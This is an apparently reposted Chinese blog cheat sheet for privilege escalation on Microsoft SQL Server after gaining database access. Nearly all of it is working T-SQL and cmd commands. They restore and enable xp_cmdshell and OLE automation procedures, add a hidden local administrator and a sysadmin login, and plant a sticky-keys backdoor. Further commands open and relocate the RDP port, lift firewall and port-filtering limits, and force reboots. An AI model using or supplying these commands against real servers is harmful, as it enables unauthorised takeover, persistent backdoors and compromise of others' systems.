1433提权修复的命令

1. 先恢复 sp_addextendedproc 语句,然后恢复 xp_cmdshell
create procedure sp_addextendedproc @functname nvarchar(517),
@dllname varchar(255)
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO
第一步执行 :EXEC
sp_addextendedproc
xp_cmdshell,@dllname='xplog70.dll'declare @o int
第二步执行 :    sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
2. 修复 Error Message: 未能找到存储过程'master..xp_cmdshell' xp_cmdshell 新的恢复办法 ( 不用去管 sp_addextendedproc 是不是存在 )
删除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'
恢复
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
3. 无法装载 DLL xpsql70.dll 或该 DLL 所引用的某一 DLL 。原因 126 (找不到指定模块。)
查询分离器连接后,
第一步执行: sp_dropextendedproc"xp_cmdshell"
第二步执行: sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
4. Error Message: 无法装载 DLL xplog70.dll 或该 DLL 所引用的某一 DLL 。原因 : 126( 找不到指定的模块。 ) 这种情况在提权过程中经常遇到,它是由于 xplog70.dll 文件被删除或者做了其他限制,导致出现如上错误。
我们可以根据情况,考虑其他的存储过程。如: sp_oacreate 和 sp_oamethod 来直接添加帐号,或者使用沙盘指令来提权。
如果可以查看目录,我们也可以手动查找,尝试直接恢复。 方法如下:当发现 xplog70.dll 文件被删除,并且可列目录。查找目录下是否有备份,或者 Sql 相关文件,尝试直接恢复。 比如在 D 盘发现文件备份,找到文件 xplog70.dll ,路径为: D:\SQL2KSP4\x86\binn\xplog70.dll 可以尝试用一下语句恢复。
exec sp_dropextendedproc 'xp_cmdshell'// 注释:删除 Sql 数据库的 xp_cmdshell 的存储过程 dbcc addextendedproc ("xp_cmdshell","D:\SQL2KSP4\x86\binn\xplog70.dll")// 注释:重新加载新路径的存储过程
5. 无法在库 xpweb70.dll 中找到函数 xp_cmdshell 。原因 : 127( 找不到指定的程序。 )
查询分离器连接后 ,
第一步执行: exec sp_dropextendedproc 'xp_cmdshell'
第二步执行: exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
或者
第一步 exec sp_dropextendedproc 'xp_cmdshell'
第二步 dbcc addextendedproc ("xp_cmdshell","c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll") ;EXEC sp_configure 'show advanced options', 0 –
6. Error Message: 无法装载 DLL xpweb70.dll 或该 DLL 所引用的某一 DLL 。原因 : 126( 找不到指定的模块 ) 。
第一步 exec sp_dropextendedproc 'xp_cmdshell'
第二步 dbcc addextendedproc ("xp_cmdshell","c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll") ;EXEC sp_configure 'show advanced options', 0 –
7. SQL Server 阻止了对组件 'xp_cmdshell' 的 过程 'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。
系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell' 。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 " 外围应用配置器 "。
分析器执行的语句:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
返后结果
配置选项 'show advanced options' 已从 1 更改为 1 。请运行 RECONFIGURE 语句进行安装。
配置选项 'xp_cmdshell' 已从 0 更改为 1 。
请运行 RECONFIGURE 语句进行安装。
或者 ;
EXEC sp_configure 'show advanced options', 1 -- ;RECONFIGURE WITH OVERRIDE -- ;EXEC sp_configure 'xp_cmdshell', 1 -- ;RECONFIGURE WITH OVERRIDE -- ;EXEC sp_configure 'show advanced options', 0 –
8. 拒绝访问错误(在 cmd 可用的情况下)
修复方法 :
Net1
Dir
net.exe /s /p
调整NTFS分区权限
cacls c: /e /t /g everyone:F???? (所有人对c盘都有一切权利)
cacls%systemroot%\system32\*.exe /d everyone???? (拒绝所有人访问system32中exe文件)
9. 直接添加账号
删除 odsole70.dll :
exec master..sp_dropextendedproc sp_oamethod
exec master..sp_dropextendedproc sp_oacreate
恢复 odsole70.dll :
execsp_addextendedproc sp_OAMethod,'odsole70.dll'
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
直接添加帐户 命令 :
2000servser 系统
DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD
@shell,'run',null, 'C:\winnt\system32\cmd.exe /c net user IWAM_SQLSERVER$ 891201 /add'
DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD
@shell,'run',null, 'C:\winnt\system32\cmd.exe /c net localgroup administrators IWAM_SQLSERVER$ /add'
xp 或 2003server 系统 :
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user IWAM_SQLSERVER$ 891201 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe/c net localgroup administrators IWAM_SQLSERVER$ /add'
沙盒模式添加账号
Exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user IWAM_SQLSERVER$ 891201 /add")')
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup administrators IWAM_SQLSERVER$ /add")')
9.shift 后门
declare @o int exec sp_oacreate'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe','c:\windows\system32\sethc.exe';
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\sethc.exe';
10. 添加 sql 登陆用户
exec master.dbo.sp_addlogin cong$ 123 exec master.dbo.sp_addsrvrolemember cong$,sysadmin
11. 删除扩展及恢复扩展 删除所有危险扩展:
Drop PROCEDURE sp_makewebtask
exec master..sp_dropextendedproc xp_cmdshell
exec master..sp_dropextendedproc xp_dirtree
exec master..sp_dropextendedproc xp_fileexist
exec master..sp_dropextendedproc xp_terminate_process
exec master..sp_dropextendedproc sp_oamethod
exec master..sp_dropextendedproc sp_oacreate
exec master..sp_dropextendedproc xp_regaddmultistring
exec master..sp_dropextendedproc xp_regdeletekey
exec master..sp_dropextendedproc xp_regdeletevalue
exec master..sp_dropextendedproc xp_regenumkeys
exec master..sp_dropextendedproc xp_regenumvalues
exec master..sp_dropextendedproc sp_add_job
exec master..sp_dropextendedproc sp_addtask
exec master..sp_dropextendedproc xp_regread
exec master..sp_dropextendedproc xp_regwrite
exec master..sp_dropextendedproc xp_readwebtask
exec master..sp_dropextendedproc xp_makewebtask
exec master..sp_dropextendedproc xp_regremovemultistring
exec master..sp_dropextendedproc sp_OACreate
Drop PROCEDURE sp_addextendedproc
恢复所有扩展:
利用 sp_addextendedproc 恢复大部分常用存储扩展 ( 得先利用最顶上的语句恢复自己 ) :
use masterexec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll'
exec sp_addextendedproc xp_dirtree,'xpstar.dll'
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
exec sp_addextendedproc xp_regread,'xpstar.dll'
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
恢复 cmdshell :
exec sp_addextendedprocxp_cmdshell,@dllname ='xplog70.dll'
判断存储扩展是否存在 ( 返回结果为 1 就 ok) :
select count(*) frommaster.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
恢复 xp_cmdshell( 返回结果为 1 就 ok) :
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.
sysobjectswhere xtype='x' and name='xp_cmdshell'
否则上传 xplog7.0.dll :
exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'
12 . 3389 终端 开 3389:
Cmd 命令
REG ADD
HKLM\SYSTEM\CurrentControlSet\Control\Terminal""Server /v fDenyTSConnections /t REG_DWORD /d0 /f
Sql 命令 开 3389
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM \CurrentControlSet\Control\TerminalServer','fDenyTS Connecions','REG_DWORD',0;--
关 3389:
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM \CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;
开启 Win2000 的终端, 端口 为 3389( 需重启 )
echo Windows Registry Editor Version 5.00>>3389.reg
echo
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg
echo"Enabled"="0" >>3389.reg
echo
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]>>3389.reg
echo"ShutdownWithoutLogon"="0">>3389.reg
echo
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]>>3389.reg
echo"EnableAdminTSRemote"=dword:00000001 >>3389.reg
echo
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg
echo"TSEnabled"=dword:00000001>>3389.reg
echo
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD]>>3389.reg
echo"Start"=dword:00000002>>3389.reg
echo
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>3389.reg
echo"Start"=dword:00000002>>3389.reg
echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>3389.reg
echo"Hotkey"="1" >>3389.reg
echo
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo " ortNumber"=dword:00000D3D>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
echo " ortNumber"=dword:00000D3D>>3389.reg
regedit /s 3389.reg
强行重启 Win2000&Win2003 系统 ( 执行完最后一条一句后自动重启 )
@ECHO OFF & cd/d %temp% & echo [version]> restart.inf (set inf=InstallHinfSection DefaultInstall)
echo signature=$chicago$ >> restart.infecho [defaultinstall] >> restart.inf
rundll32 setupapi,%inf% 1%temp%\restart.inf
禁用 TCP/IP 端口筛选 ( 需重启 )
REG ADD
HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d0 /f
终端超出最大连接数时可用下面的命令来连接
mstsc /v:ip:3389 /console
查看 3389 端口 SQL 命令:
exec xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Con trol\Terminal Server\WinStations\RDP-Tcp','PortNumber'
cmd 命令( xp&2003 )
REG query
HKLM\SYSTEM\CurrentControlSet\Control\Terminal""Server\WinStations\RDP-Tcp /v PortNumber
通用:
regedit /e tsp.reg"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal server\Wds\rdpwd\Tds\tcp" type tsp.reg
取消 xp&2003 系统防火墙对终端服务 3389 端口的限制及 IP连接的限制
REG ADD
HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /tREG_SZ /d 3389:TCP:*:Enabled xpsp2res.dll,-22009 /f
改写终端端口:
Cmd 命令:
REG ADD
HKLM\SYSTEM\CurrentControlSet\Control\Terminal""Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d9 /f
REG ADD
HKLM\SYSTEM\CurrentControlSet\Control\Terminal""Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7d9 /f
间接查看端口信息:
写端口信息到 c:\1.txt
DECLARE@shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINdows\system32\cmd.exe /c netstat -an > c:\1.txt'
读取 1.txt
declare @o int, @f int, @t int, @ret intdeclare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'opentextfile', @f out, 'c:\1.txt', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end

猜你喜欢

转载自sunbin.iteye.com/blog/2128799